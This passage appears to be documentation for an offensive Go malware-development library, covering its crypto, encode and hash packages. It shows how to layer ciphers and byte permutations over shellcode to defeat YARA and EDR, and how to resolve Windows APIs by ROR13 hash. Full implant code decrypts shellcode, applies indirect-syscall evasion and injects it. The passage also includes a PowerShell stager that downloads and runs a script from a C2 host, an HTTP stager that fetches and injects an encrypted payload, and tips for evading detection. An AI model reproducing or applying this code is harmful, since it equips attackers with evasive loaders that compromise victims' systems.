    │           Defeats static YARA on the encrypted blob.
    │
    ├─ Layer 2: lightweight cipher (RC4 / TEA)
    │           In-process unpacker — minimal footprint.
    │
    └─ Layer 3: AEAD outer envelope (AES-GCM)
                Authenticated; tampering detection.

Primer — vocabulary

Six terms recur on this page:

AEAD (Authenticated Encryption with Associated Data) — cipher mode that produces both ciphertext AND an authentication tag. Decrypting with the wrong key OR tampered ciphertext fails loudly (tag mismatch). AES-GCM and XChaCha20-Poly1305 are the AEAD modes shipped here. Always use AEAD for the outer envelope so on-disk corruption fails early instead of producing garbage shellcode.

Nonce / IV — single-use bytes that randomise the cipher's output so the same key + plaintext doesn't always produce the same ciphertext. Reusing a nonce with the same key catastrophically breaks security (key recovery for stream ciphers, plaintext recovery for AES-GCM). XChaCha20's 24-byte nonce is large enough that random nonces practically never collide.

Authentication tag — fixed-size value (16 bytes for AES-GCM) appended to the ciphertext. Checked on decryption; any byte flip in the ciphertext makes the tag mismatch.

Stream cipher — produces a keystream of pseudorandom bytes XOR'd with plaintext. RC4 is the canonical example. No authentication; no nonce (just a key). Cheap to implement; never use as outer envelope (no tampering detection).

Permutation — reversible byte rearrangement (S-Box, Matrix Hill, ArithShift) that defeats YARA static rules looking for a known byte pattern. Doesn't add entropy — just shuffles. Pair with a real cipher beneath.

YARA — defender's pattern-matching language. Rules describe byte sequences ("look for \xE9\x4D\x32\xCB"). Layered permutation + cipher means the disk artefact never matches any byte sequence the implant author or attacker tooling baseline contains.

Pick the primitive

Side-by-side. Pick the row whose tradeoffs match the deployment context, then click through to the API Reference for that function.

PrimitiveLayerSpeedEntropy profileKeyNonce / IVAuthenticatedReversibleStatic signatureBest for
AES-GCMAEAD outerfast (AES-NI)uniform high (256 bits)32 B12 B random✅ tagyeslow (random)Default outer envelope; tampering detection mandatory.
XChaCha20-Poly1305AEAD outerfastuniform high32 B24 B random✅ tagyeslowAES-NI absent; misuse-resistant nonce (24 B random ≈ unique).
AES-CTR rawStream (CTR)fast (AES-NI)uniform high16/24/32 B16 B randomyeslowStage-1 stub decrypts a stage-2 payload that self-validates; saves 16 B AEAD tag + the const-time-compare branch. Pair with HMACSHA256 for integrity.
ChaCha20 rawStreamfastuniform high32 B24 B randomyeslowAES-NI absent + AEAD overhead unwanted. Constant-time across all CPUs (no S-box table lookups). Pair with HMACSHA256.
RC4Streamvery fastuniform5–256 BnoneyesYARA: keystream biasCheap unpacker between layers; never as outer envelope.
TEABlock (64-bit)very fastuniform16 Bnone (ECB)yeslowTiny block primitive when binary footprint matters.
XTEABlock (64-bit)very fastuniform16 Bnone (ECB)yeslowSame as TEA but with corrected key schedule.
Speck-128/128Block (128-bit)very fastuniform16 Bnone (ECB)yeslowNSA 2013 ARX cipher; ~30 B/round of x86-64 asm — preferred when stage-1 stub needs a real cipher but can't afford AES's S-box.
XORStreamtrivialmatches key lengthanyimplicityesYARA: visible keyDev / scratch only; never alone in production.
S-Box (substitute)Permutationvery fastuniform when keyed256-byte tablenoneyes (Reverse*)breaks byte-frequency YARALayer between AES-GCM and embed to flatten histograms.
Matrix HillPermutationmedium (per-row)uniform4×4 / 8×8 matrixnoneyesbreaks contiguous-byte YARADefeat contiguous-byte signatures; pair with S-Box.
ArithShiftPermutationvery fastnon-uniform1–4 BnoneyeslowCheap layer that produces non-uniform entropy — masks an AES blob's "looks-random" tell.

How to read the matrix:

  • Authenticated = does the cipher detect tampering on decrypt? Only the AEAD ciphers do; everything else returns "decrypted" garbage on bit-flips. Always run an AEAD as the outermost layer if integrity matters.
  • Static signature = how visible the cipher choice is to a YARA scanner. Permutations break histogram / contiguous-byte rules; AEAD ciphers leave no static fingerprint at all (output is random).
  • Speed is qualitative. For multi-MB payloads, prefer AES-GCM (AES-NI) or XChaCha20-Poly1305 — the rest allocate per call.

Composition pattern (build → embed → runtime):

plaintext
  ↓ EncryptAESGCM(key)              [outer AEAD, uniform output]
  ↓ SubstituteBytes(table)          [S-Box: flatten histogram]
  ↓ MatrixTransform(M)              [break contiguous bytes]
  ↓ ArithShift(k)                   [non-uniform entropy mask]
ciphertext bytes embedded into the implant

Reverse on the runtime side: ReverseArithShiftReverseMatrixTransformReverseSubstituteBytesDecryptAESGCM. Always wipe the key buffer with memory.SecureZero immediately after DecryptAESGCM returns.

Performance reference

Measured on x86_64 (Linux, AMD-NI / SHA-NI available), 64 KiB plaintext, go test -bench median of 3 runs (numbers move ±5 % across runs / hosts; pick on shape, not exact MB/s):

PrimitiveThroughputAllocs/opComment
AES-GCM~860 MB/s4AES-NI accelerated; outer envelope of choice on AES-NI-capable hosts.
HMAC-SHA256 (tag)~790 MB/s6SHA-NI accelerated; integrity layer for raw-stream ciphers.
AES-CTR~680 MB/s3AES-NI without GCM tag — saves 16 B + the const-time-compare branch.
ChaCha20-Poly1305~590 MB/s2AEAD; preferred when AES-NI absent.
ChaCha20 raw~280 MB/s1Strip Poly1305 when stage-2 self-validates.
RC4~260 MB/s2Stream; fast initialization. Defender-friendly bias.
XOR (repeating key)~170 MB/s1Allocator-bound; trivial cipher.
Speck-128/128~130 MB/s2Pure-Go ARX; ~30 B asm/round — preferred lightweight block primitive when AES is too heavy.
TEA / XTEA~40 MB/s28-byte block (more rounds per byte vs 16-byte block ciphers).
Argon2id (default params)~93 ms / call40Build-host KDF, NOT a per-byte primitive — single call per pack.

Bench source: crypto/cipher_benchmarks_test.go. Reproduce with:

go test -bench=. -benchmem -run='^$' ./crypto/

Reading the table:

  • If you have AES-NI on the target, AES-GCM is the right outer envelope. The throughput already accounts for the GCM tag computation.
  • Without AES-NI, ChaCha20-Poly1305 is the AEAD pick — it's constant-time across all CPUs.
  • If you're sizing a stage-1 stub and AES is too much (no AES-NI, 256-byte S-box budget), Speck-128/128 is the right pick. 3 × faster than TEA/XTEA and a 16-byte block matches AES.
  • If your stage-2 self-validates, drop the AEAD tag: AES-CTR or ChaCha20 raw paired with HMAC-SHA256 is ~10 % faster than the AEAD equivalent on the same host AND saves 16 B per blob.

Primer

Static signatures are the cheapest defender win. A raw shellcode buffer sitting in a binary's .data section gets matched by a four-byte YARA rule before it ever runs. Encryption breaks that match by replacing the plaintext with high-entropy gibberish derivable only with the key.

The crypto package layers three protection levels. The outer envelope uses an authenticated cipher (AEAD) — anything else risks an attacker tampering with the ciphertext to redirect execution. The stream/block layer is for tiny in-process unpackers where AES-GCM is overkill but a passable cipher is still wanted. The transform layer mutates byte distribution without giving cryptographic confidentiality — useful when the goal is breaking signatures rather than hiding intent.

The package is pure Go, has no CGo dependencies, cross-compiles to Linux/Windows/macOS targets, and avoids syscalls entirely (every operation is a constant-time arithmetic transform on a buffer).

How it works

flowchart LR
    SC[raw shellcode] -->|build time| ENC[crypto.EncryptAESGCM]
    ENC --> STAGE1[ciphertext + nonce]
    STAGE1 -.optional.-> WRAP[crypto.EncryptXTEA + SubstituteBytes]
    WRAP --> EMBED["go:embed in implant"]
    EMBED -->|runtime| LOAD[load embedded blob]
    LOAD --> UNWRAP1[ReverseSubstituteBytes + DecryptXTEA]
    UNWRAP1 --> DEC[crypto.DecryptAESGCM]
    DEC --> WIPE_K[memory.SecureZero AES key]
    WIPE_K --> EXEC[inject.Inject]
    EXEC --> WIPE_P[memory.SecureZero plaintext]

Build-time: encrypt with AEAD, optionally wrap in cheaper layers. Runtime: peel layers in reverse, wipe the key the moment the AEAD Open returns, inject, wipe the plaintext.

AES-GCM internals

sequenceDiagram
    participant App as "Implant"
    participant Pkg as "crypto"
    participant Std as "crypto/aes + cipher"

    App->>Pkg: EncryptAESGCM(key, plaintext)
    Pkg->>Std: aes.NewCipher(key) -- 32 bytes
    Pkg->>Std: cipher.NewGCM(block)
    Pkg->>Std: rand.Read(nonce) -- 12 bytes
    Pkg->>Std: gcm.Seal(nonce, nonce, plaintext, nil)
    Std-->>Pkg: nonce ++ ciphertext ++ tag
    Pkg-->>App: combined output

    App->>Pkg: DecryptAESGCM(key, combined)
    Pkg->>Pkg: nonce = first 12 bytes of combined
    Pkg->>Std: gcm.Open(nil, nonce, rest, nil)
    Note over Std: Verifies the 16-byte tag<br>before returning plaintext
    Std-->>Pkg: plaintext or ErrAuthFailed
    Pkg-->>App: plaintext

The 12-byte random nonce is prepended to the output, so callers do not manage nonces. Re-encrypting the same plaintext yields a different ciphertext every time.

TEA / XTEA round equation

64 rounds, 32-bit half-blocks, 128-bit key:

$$ \begin{aligned} \text{sum} &\mathrel{+}= \delta \ v_0 &\mathrel{+}= ((v_1 \ll 4) + k_0) \oplus (v_1 + \text{sum}) \oplus ((v_1 \gg 5) + k_1) \ v_1 &\mathrel{+}= ((v_0 \ll 4) + k_2) \oplus (v_0 + \text{sum}) \oplus ((v_0 \gg 5) + k_3) \end{aligned} $$

with $\delta = \texttt{0x9E3779B9}$ (golden ratio constant). XTEA fixes TEA's equivalent-key weakness by mixing the round counter into the key schedule, but the structure is the same.

Matrix (Hill cipher mod 256)

For an $n \times n$ key matrix $K$ over $\mathbb{Z}_{256}$ with $\gcd(\det K, 256) = 1$, encryption operates per $n$-byte block $\vec{p}$:

$$ \vec{c} = K \vec{p} \mod 256 $$

NewMatrixKey(n) searches random matrices until one is invertible mod 256. The inverse is precomputed and returned alongside.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/crypto is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

key, _ := crypto.NewAESKey()
ct, _ := crypto.EncryptAESGCM(key, []byte("shellcode goes here"))
pt, _ := crypto.DecryptAESGCM(key, ct)

See ExampleEncryptAESGCM and ExampleEncryptChaCha20 in crypto_example_test.go for runnable variants.

Composed (with cleanup/memory for key wiping)

Decrypt the embedded blob, wipe the key the moment Open returns, run the payload, wipe the plaintext:

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
)

shellcode, err := crypto.DecryptAESGCM(aesKey, encryptedPayload)
if err != nil {
    return err
}
memory.SecureZero(aesKey)

// ... use shellcode ...
memory.SecureZero(shellcode)

Advanced (XTEA + S-Box layered packer)

A two-stage in-process unpacker. The outer S-Box defeats YARA rules that look at byte distribution; the inner XTEA round destroys whatever structure leaks through.

import "github.com/oioio-space/maldev/crypto"

// Build time
var xteaKey [16]byte
_, _ = crypto.NewSBox() // warm CSPRNG
sbox, inv, _ := crypto.NewSBox()
copy(xteaKey[:], aesKeyMaterial[:16])

stage1, _ := crypto.EncryptXTEA(xteaKey, shellcode)
packed   := crypto.SubstituteBytes(stage1, sbox)

// Embed `packed` + `xteaKey` + `inv` in the implant.

// Runtime
unsbox  := crypto.ReverseSubstituteBytes(packed, inv)
orig, _ := crypto.DecryptXTEA(xteaKey, unsbox)

Complex (full encrypt → evade → inject → wipe chain)

End-to-end implant body. Apply syscall evasion first, decrypt the payload, wipe the key, inject through an indirect-syscall caller, wipe the plaintext.

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

var (
    encrypted []byte // //go:embed payload.aes
    aesKey    []byte // //go:embed key.bin
)

func run() error {
    caller := wsyscall.New(wsyscall.MethodIndirect,
        wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
    _ = evasion.ApplyAll(preset.Stealth(), caller)

    shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
    if err != nil {
        return err
    }
    memory.SecureZero(aesKey)

    inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
        Config:        inject.Config{Method: inject.MethodCreateThread},
        SyscallMethod: wsyscall.MethodIndirect,
    })
    if err != nil {
        return err
    }
    if err := inj.Inject(shellcode); err != nil {
        return err
    }
    memory.SecureZero(shellcode)
    return nil
}

OPSEC & Detection

ArtefactWhere defenders look
High-entropy .data / .rdata sectionCompile-time YARA entropy >= 7.5, ML classifiers (PE byte histograms)
Decrypt routine signatureStatic unpacker fingerprints (e.g. aes.NewCipher followed by cipher.NewGCM from a non-go-tooling-built binary)
Plaintext shellcode in process memory after decryptEDR memory scans (Defender's AMSI-like for native code, MDE Live Response)
Long-lived AES key in heapYARA scanning of process RWX/RW pages — wipe immediately after Open

D3FEND counters:

  • D3-SEA — static executable analysis defeats high-entropy sections via unpacker emulation.
  • D3-PSA — process-spawn analysis catches decrypt-then-execute patterns.
  • D3-FCR — YARA over .data after unpacker emulation.

Hardening: wipe keys before injection (cleanup/memory.SecureZero); chunk decryption + injection across cache lines so plaintext does not sit in RWX longer than a few microseconds; pair with sleep-masking (evasion/sleepmask) for long-running implants.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027Obfuscated Files or Informationobfuscation transforms (XOR, TEA, S-Box, Matrix, ArithShift)D3-SEA
T1027.013Encrypted/Encoded FileAEAD ciphers (AES-GCM, ChaCha20) and stream cipher (RC4)D3-FCR

Limitations

  • Key distribution unsolved. This package does not embed, derive, fetch, or rotate keys — it ciphers buffers. A real implant must source the key from somewhere (build-time embed, environment, C2 fetch). The weakest link in any payload-encryption design.
  • Entropy is detectable. A 200 KB high-entropy section in a Go binary is suspicious by itself. Layer with non-uniform transforms (ArithShift) or split into multiple sections for cover.
  • Ephemeral plaintext still touchable. Between decrypt and Inject, the plaintext lives on the Go heap. EDR memory scans (Defender, CrowdStrike) sweep RW pages — wipe the buffer before the next syscall, not after. Use crypto.UseDecrypted(decrypt, fn) — the helper runs decrypt, calls fn with the plaintext, and zeroes the buffer via defer (so the wipe still runs when fn errors or panics). Or call crypto.Wipe(plaintext) manually for cases that don't fit the closure shape.
  • Streaming AEAD only for AES-GCM and XChaCha20-Poly1305. The NewAESGCMWriter / NewChaCha20Writer family handles multi-MB / multi-GB payloads with bounded memory (64 KiB peak) and per-frame tampering detection. The other primitives (EncryptRC4, XOR, TEA, XTEA, MatrixTransform, SubstituteBytes, ArithShift) still take the whole buffer in one call — for multi-MB use, layer a streaming AEAD on top (AES-GCM stream → XOR/MatrixTransform inside the chunk is the canonical hardening pattern).
  • Streaming framing is on the wire. Both the chunk size (64 KiB) and the framing layout (4-byte header + sealed bytes) are deterministic and not key-derived — a defender who knows the package can recognise the framing on a captured stream. The framing carries no plaintext metadata, but its presence may fingerprint maldev itself.
  • RC4 broken. Compatibility-only; do not use as the outer envelope.
  • TEA equivalent keys. Three keys decrypt to the same plaintext; prefer XTEA.

See also

Encode techniques

← maldev README · docs/index

The encode/ package provides transport-safe byte transformations: Base64 (standard + URL-safe), UTF-16LE, ROT13, and the PowerShell -EncodedCommand format. Encoding is never confidentiality — it survives channels that mangle arbitrary bytes (HTTP headers, JSON strings, PowerShell command lines, stdin pipes).

TL;DR

Encrypt first, then encode. Decode last, then decrypt.

Where to start (novice path):

Single-page area. Read encode end-to-end (~5 min) and consult the Quick decision tree below to pick the right encoder per channel. Pair with crypto for the encrypt-then-encode pattern shown in the mermaid above.

Packages

PackageTech pageDetectionOne-liner
encodeencode.mdvery-quietBase64 (std + URL), UTF-16LE, ROT13, PowerShell -EncodedCommand

Quick decision tree

You want to…Use
…embed a binary blob in Go source / JSON / HTTP headerencode.Base64Encode
…pass a payload through a URL or filenameencode.Base64URLEncode
…feed a Windows API that takes UTF-16 LPWSTRencode.ToUTF16LE
…run a PowerShell script via -EncodedCommandencode.PowerShell
…break a static string signature on Win32 API namesencode.ROT13 (novelty)

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1027Obfuscated Files or Informationencode (PowerShell, Base64)D3-SEA
T1027.013Encrypted/Encoded Fileencode (Base64 wrapper for ciphertext)D3-FCR
T1140Deobfuscate/Decode Files or Informationencode.Base64Decode, encode.Base64URLDecodeD3-FCR

See also

Encode

← encode index · docs/index

TL;DR

Transport-safe byte transforms: Base64 (RFC 4648 §4 + §5), UTF-16LE, ROT13, and PowerShell -EncodedCommand (Base64(UTF-16LE(script))). Pure functions, no system interaction, cross-platform.

You want to send bytes through…UseNotes
HTTP body / JSON string / Go source constBase64EncodeStandard alphabet (+/)
URL path / filename / cookieBase64URLEncodeURL-safe alphabet (-_)
Windows API expecting LPWSTRToUTF16LEPair with windows.UTF16PtrFromString for direct ABI use
powershell.exe -EncodedCommandPowerShellAuto-wraps: Base64(UTF-16LE(script))
Defeat plaintext-string YARA on Win32 namesROT13Novelty cover; not real encoding

What this DOES achieve:

  • Survives byte-mangling channels (HTTP, JSON, command line).
  • One-call helpers — no manual base64 + UTF-16 chaining.

What this does NOT achieve:

  • Encoding ≠ encryption — Base64 is reversible without a key. Always encrypt first, encode last (see crypto recommended stack diagram).
  • Doesn't bypass Defender's -EncodedCommand heuristic — Defender flags long Base64 strings on PowerShell command lines regardless of content. The technique is for transport cover, not detection cover.

Primer

Encoding solves a different problem from encryption. Many channels cannot transport arbitrary bytes: HTTP headers reject control characters, URLs reject + and /, JSON strings reject zero bytes, command lines on Windows expect UTF-16, and powershell.exe -EncodedCommand accepts only Base64-of-UTF-16LE.

encode covers each of those representations with a one-line API. It is not a security boundary — Base64 is reversible by anyone who reads the output. The pattern in this codebase is encrypt with crypto, then encode for the wire: confidentiality from the cipher, transportability from the encoding.

The package has no Windows-specific code (despite UTF-16LE being Windows' native string format) and cross-compiles cleanly to every Go target.

How it works

flowchart LR
    subgraph build [Build / Encode]
        PT[plaintext] --> ENC[crypto.EncryptAESGCM]
        ENC --> CT[ciphertext]
        CT --> B64[encode.Base64Encode]
    end

    subgraph wire [Channel]
        B64 --> JSON[JSON / HTTP header / URL / PS arg]
    end

    subgraph runtime [Runtime / Decode]
        JSON --> B64D[encode.Base64Decode]
        B64D --> CT2[ciphertext]
        CT2 --> DEC[crypto.DecryptAESGCM]
        DEC --> RUN[plaintext for inject]
    end

PowerShell(script) is a convenience wrapper: Base64Encode(ToUTF16LE(script)) — exactly what powershell.exe -EncodedCommand parses.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/encode is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

encoded := encode.Base64Encode([]byte("hello"))
decoded, _ := encode.Base64Decode(encoded)

See ExampleBase64Encode, ExamplePowerShell, ExampleToUTF16LE in encode_example_test.go.

Composed (crypto + encode for HTTP transport)

Encrypt first, then encode for the wire:

import (
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/encode"
)

key, _ := crypto.NewAESKey()
ct, _  := crypto.EncryptAESGCM(key, rawShellcode)
wire   := encode.Base64Encode(ct)
// transport `wire` over HTTP / JSON / etc.

// Receiver:
ct2, _ := encode.Base64Decode(wire)
pt, _  := crypto.DecryptAESGCM(key, ct2)

Advanced (PowerShell stager)

Generate a one-liner that downloads and executes a remote script:

script := `IEX (New-Object Net.WebClient).DownloadString('https://c2.example/s')`
arg := encode.PowerShell(script)
// powershell.exe -NoProfile -EncodedCommand <arg>

Complex (encode + crypto + transport)

End-to-end stager that pulls an encrypted payload from C2, decodes, decrypts, injects:

import (
    "io"
    "net/http"

    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/encode"
    "github.com/oioio-space/maldev/inject"
)

func stage(c2URL string, key []byte) error {
    resp, err := http.Get(c2URL)
    if err != nil { return err }
    defer resp.Body.Close()

    body, err := io.ReadAll(resp.Body)
    if err != nil { return err }

    ct, err := encode.Base64URLDecode(string(body))
    if err != nil { return err }

    shellcode, err := crypto.DecryptAESGCM(key, ct)
    if err != nil { return err }

    inj, err := inject.NewWindowsInjector(&inject.WindowsConfig{
        Config: inject.Config{Method: inject.MethodCreateThread},
    })
    if err != nil { return err }
    return inj.Inject(shellcode)
}

OPSEC & Detection

ArtefactWhere defenders look
Long Base64 string passed to powershell.exe -EncodedCommandSysmon Event 1 (Process Create) command-line scanning, AMSI
Base64 string > 1 KB in HTTP request bodyNetwork DLP, Suricata entropy rules
UTF-16LE blob in a text-typed channelAnomaly: text channels normally see UTF-8
IEX (New-Object Net.WebClient).DownloadString(...) after Base64 decodeSysmon Event 4104 (PowerShell ScriptBlockLogging)

D3FEND counters:

  • D3-SEA — static executable / script analysis.
  • D3-FCR — YARA / regex on decoded content.
  • D3-NTPM — block outbound IEX+Base64 patterns at the proxy.

Hardening: chunk long Base64 across multiple requests; randomise field order; pad with realistic noise tokens before encoding.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027Obfuscated Files or InformationPowerShell -EncodedCommand wrapper, Base64 wrappersD3-SEA
T1027.013Encrypted/Encoded FileBase64 envelope around encrypted payloadD3-FCR
T1140Deobfuscate/Decode Files or InformationBase64Decode, Base64URLDecodeD3-FCR

Limitations

  • Encoding is not encryption. Base64 is trivially reversible. Always encrypt before encoding for non-public payloads.
  • Entropy spike on the wire. Long Base64 strings are visible to network DLP. Chunk into multiple requests, or use a more selective steganographic carrier.
  • Command-line length cap. powershell.exe -EncodedCommand accepts ~32 KB of Base64. Larger stagers must download then execute, not embed inline.
  • UTF-16LE assumes BMP. Supplementary-plane code points (emoji, CJK extensions) get surrogate pairs — fine for PowerShell but surprises any consumer expecting fixed two-byte units.

See also

Hash techniques

← maldev README · docs/index

The hash/ package supplies three families of hashing primitives: cryptographic (MD5, SHA-1, SHA-256, SHA-512) for integrity and identifiers, API hashing (ROR13 + ROR13Module) for shellcode-style plaintext-free function resolution, and fuzzy hashing (ssdeep, TLSH) for variant detection and similarity scoring.

TL;DR

Where to start (novice path):

  1. Need to fingerprint a buffer? → SHA256 (cryptographic-hashes.md). Standard integrity hash.
  2. Need to resolve Win32 APIs by hash (no plaintext name in the binary)? → ROR13 + ROR13Module. Pair with syscalls/api-hashing for the runtime resolution side.
  3. Need to score similarity between samples (variant detection, morph verification)? → fuzzy-hashing — ssdeep + TLSH.

Packages

PackageTech pageDetectionOne-liner
hashcryptographic-hashes.md · fuzzy-hashing.mdvery-quietMD5/SHA-* (integrity), ROR13 (API hashing), ssdeep + TLSH (similarity)

Quick decision tree

You want to…Use
…identify a payload by contenthash.SHA256
…compute a Windows API name hash for a shellcode resolverhash.ROR13
…compute a module-name hash matching PEB-walk shellcodehash.ROR13Module
…score similarity between two samples (variant detection)hash.SsdeepCompare or hash.TLSHCompare
…screen a directory of suspicious binaries against a known-bad seedsee Advanced example

MITRE ATT&CK

The hash package itself is utility. It is referenced from techniques that consume it:

Used byWhy
win/api.ResolveByHashPlaintext-free Win32 API resolution (T1027.007)
Researcher / hunter workflowsVariant detection, signature defeat measurement
pe/morphBuild-time fingerprint shifting; pair with fuzzy hashing to verify the morph kept the family intact

See also

Cryptographic hashes & ROR13

← hash index · docs/index

TL;DR

Two distinct use cases under one roof:

You want to…UseOutput
Fingerprint a buffer (integrity, identifier)SHA256, SHA512, MD5, SHA1hex string
Compute a Win32 API name hash for a shellcode resolverROR13uint32 — match against pe/imports.List outputs
Compute a module-name hash matching PEB-walk shellcodeROR13Moduleuint32 — pre-uppercased + UTF-16LE per shellcode convention

What this DOES achieve:

  • One-shot calls — hash.SHA256(data) returns the hex string directly. No hex.EncodeToString(h.Sum(nil)) chaining.
  • ROR13 matches the canonical shellcode algorithm — your pre-computed constants work with public reflective loaders.

What this does NOT achieve:

  • Doesn't replace the crypto library — for HMAC, streaming hash, KDF, use crypto/* directly.
  • MD5 / SHA1 are not collision-resistant — use SHA256+ for any integrity assertion that matters.
  • Doesn't compute fuzzy hashes — see fuzzy-hashing for ssdeep / TLSH (variant detection).

Primer

Two distinct use cases share this file:

The cryptographic wrappers (MD5, SHA1, SHA256, SHA512) exist because Go's stdlib returns [N]byte arrays — convenient for machines, awkward for logs, command-line output, and string-keyed maps. The wrappers compress the boilerplate to one call and produce lower-case hex strings.

ROR13 is the canonical shellcode hash. Implants resolve Win32 APIs without keeping plaintext function names in the binary by walking the PE export directory of a loaded module and comparing each export name's ROR13 hash against precomputed targets. The trailing-null variant ROR13Module matches the convention used to hash module names from LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer. win/api.ResolveByHash consumes both.

The fuzzy hashes (ssdeep, TLSH) live in a separate page — fuzzy-hashing.md.

How it works

Cryptographic hashes

flowchart LR
    DATA[input bytes] --> H{algorithm}
    H -->|MD5| M[16-byte digest]
    H -->|SHA1| S1[20-byte digest]
    H -->|SHA256| S2[32-byte digest]
    H -->|SHA512| S5[64-byte digest]
    M --> HEX[lower-case hex string]
    S1 --> HEX
    S2 --> HEX
    S5 --> HEX

ROR13

flowchart LR
    NAME[function name] --> ITER[for each byte b]
    ITER --> ROT[hash = ror32 hash, 13]
    ROT --> ADD[hash += b]
    ADD --> NEXT{more bytes?}
    NEXT -->|yes| ITER
    NEXT -->|no| OUT[uint32 hash]

ROR13Module adds a trailing null byte to the input, then hashes — mirroring the wide-string traversal a PEB-walk shellcode performs over the unicode BaseDllName.

The arithmetic per byte:

$$ \text{hash}_{i+1} = \big(\text{hash}_i \mathbin{\text{ror}} 13\big) + b_i \mod 2^{32} $$

starting at $\text{hash}_0 = 0$. Pure 32-bit unsigned arithmetic, easy to encode in a few shellcode bytes.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/hash is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple

fmt.Println(hash.SHA256([]byte("payload")))
// 239f59ed55e737c77147cf55ad0c1b030b6d7ee748a7426952f9b852d5a935e5

fmt.Printf("%#x\n", hash.ROR13("LoadLibraryA"))
// 0xec0e4e8e

See ExampleSHA256, ExampleROR13, ExampleROR13Module in hash_example_test.go.

Composed (precompute API hashes for a resolver)

import "github.com/oioio-space/maldev/hash"

// Precomputed table for the resolver to consume.
var apiHashes = map[string]uint32{
    "LoadLibraryA":    hash.ROR13("LoadLibraryA"),
    "GetProcAddress":  hash.ROR13("GetProcAddress"),
    "VirtualAlloc":    hash.ROR13("VirtualAlloc"),
    "VirtualProtect":  hash.ROR13("VirtualProtect"),
}

Advanced (hash + win/api.ResolveByHash)

import (
    "github.com/oioio-space/maldev/hash"
    "github.com/oioio-space/maldev/win/api"
)

// At runtime — no plaintext "VirtualAlloc" string in the binary.
addr, err := api.ResolveByHash(
    hash.ROR13Module("kernel32.dll"),
    hash.ROR13("VirtualAlloc"),
)

Complex (full resolver bootstrap pipeline)

import (
    "github.com/oioio-space/maldev/hash"
    "github.com/oioio-space/maldev/win/api"
)

type Resolver struct {
    handle uintptr
}

func NewResolver(moduleHash uint32) (*Resolver, error) {
    h, err := api.GetModuleHandleByHash(moduleHash)
    if err != nil { return nil, err }
    return &Resolver{handle: h}, nil
}

func (r *Resolver) Resolve(funcName string) (uintptr, error) {
    return api.GetProcAddressByHash(r.handle, hash.ROR13(funcName))
}

func main() {
    k32, _ := NewResolver(hash.ROR13Module("kernel32.dll"))
    valloc, _ := k32.Resolve("VirtualAlloc")
    _ = valloc
}

OPSEC & Detection

ArtefactWhere defenders look
Hex strings (especially SHA-256-shaped 64-char) in process memoryYARA over RW pages — hash strings are themselves a tell
Constant 0xec0e4e8e-class 32-bit values stored in .rdataStatic analysis: known-API ROR13 hash tables are publicly catalogued (e.g. ror13_hashes.csv from various reversing tools)
Absence of LoadLibraryA / GetProcAddress plaintext in IAT despite using the APIsDefenders flag "no IAT entries for kernel32 but a kernel32 handle is held"
ROR13 resolution loop signature (ror eax, 13; add eax, ebx) in .textCapa, IDA signature plugins, MAEC ML classifiers

D3FEND counters:

  • D3-SEA — static EXE analysis catches the hash table or the ROR13 loop.
  • D3-PSA — flags processes that resolve APIs after a delay (typical of packers).

Hardening: spread API resolution across the binary's lifetime rather than batching at startup; randomise hash constants per build (a salt fed into ROR13's initial state); pair with sleep-masking so the resolved-address table does not sit decrypted in heap.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1027Obfuscated Files or InformationROR13 API hashing — no plaintext API namesD3-SEA
T1027.007Dynamic API ResolutionROR13 resolver patternD3-SEA

The cryptographic hash wrappers themselves are utility — no MITRE mapping.

Limitations

  • MD5 and SHA-1 are broken. Avoid for any integrity / signature use case. The package keeps them only because some legacy formats (e.g. PE Authenticode V1, NTLM) require MD5/SHA-1.
  • ROR13 is case-sensitive. Hash mismatches between LoadLibraryA and loadlibrarya are silent — you'll fail to resolve and the call returns nil. Use ROR13Module for module names where Windows is case-insensitive (the function takes care of the null suffix; case still matters).
  • No streaming API. Every wrapper takes the whole buffer. For multi-GB inputs, use crypto/sha256.New() directly and io.Copy into it.

See also

Fuzzy hashing (ssdeep + TLSH)

← hash index · docs/index

TL;DR

Two locality-sensitive hashes — ssdeep (context-triggered piecewise) and TLSH (Trend Locality-Sensitive Hash) — that produce similar outputs for similar inputs. Use to detect variants of a known sample after small mutations (UPX section rename, packer entropy padding, single-byte patches) that defeat traditional cryptographic hashes.

You want to…UseReturns
Hash a buffer with ssdeepSsdeepstring — VirusTotal / YARA-compatible format
Hash a buffer with TLSHTLSHstring — fixed length per spec
Score similarity between two ssdeep hashesSsdeepCompareint 0-100 (higher = more similar)
Score similarity between two TLSH hashesTLSHCompareint 0+ (LOWER = more similar; threshold ~30)
Screen N samples against a known-bad seedPair with file-walk + threshold loop (see Advanced example)List of matches above threshold

What this DOES achieve:

  • Variant detection — identify samples derived from a known sample even after small mutations.
  • Build-pipeline verification — measure that pe/morph actually shifted the fuzzy fingerprint while keeping the family intact (or intentionally broke it, depending on goal).
  • VirusTotal-compatible ssdeep format for cross-tool sharing.

What this does NOT achieve:

  • Doesn't catch radically different samples — fuzzy hashes measure SIMILARITY. If two implants share 0% structure, the scores are at floor and you learn nothing.
  • ssdeep score has direction-flip semantics vs TLSH — ssdeep: 100 = identical, 0 = unrelated. TLSH: 0 = identical, high = unrelated (~30 typical "variant" threshold). Don't cross-wire them.
  • Computational cost — TLSH minimum-length requirement (~256 bytes); ssdeep linear-in-bytes. For huge files, prefer TLSH.

Primer

